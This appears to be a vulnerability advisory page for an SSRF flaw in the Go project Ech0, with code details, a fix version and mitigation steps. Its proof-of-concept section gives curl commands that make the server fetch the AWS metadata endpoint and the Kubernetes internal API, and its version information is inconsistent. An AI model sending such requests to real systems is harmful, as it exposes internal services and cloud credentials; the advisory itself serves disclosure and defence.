CVE-2026-79659 — ech0
Fix: lin-snow/Ech0@091d26dCVE-2026-79659 is a Server-Side Request Forgery (SSRF) vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Ech0 before 4.7.3 Server-Side Request Forgery via fetchPeerConnectInfo
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-79659.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
Details
In internal/service/connect/connect.go, the fetchPeerConnectInfo function:
func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)
This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.
Called from:
- Line 307:
data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout) -
- Line 498:
data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)
- Line 498:
PoC
# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'
# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
"https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID
Or for Kubernetes:
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'
Impact
- Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
-
- CWE-918: Server-Side Request Forgery
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 1.4.8-0.20260503040602-091d26d2d942go get github.com/lin-snow/ech0@v1.4.8-0.20260503040602-091d26d2d942 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79659 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-79659 in your dependencies?
Find it across Go, including transitive dependencies.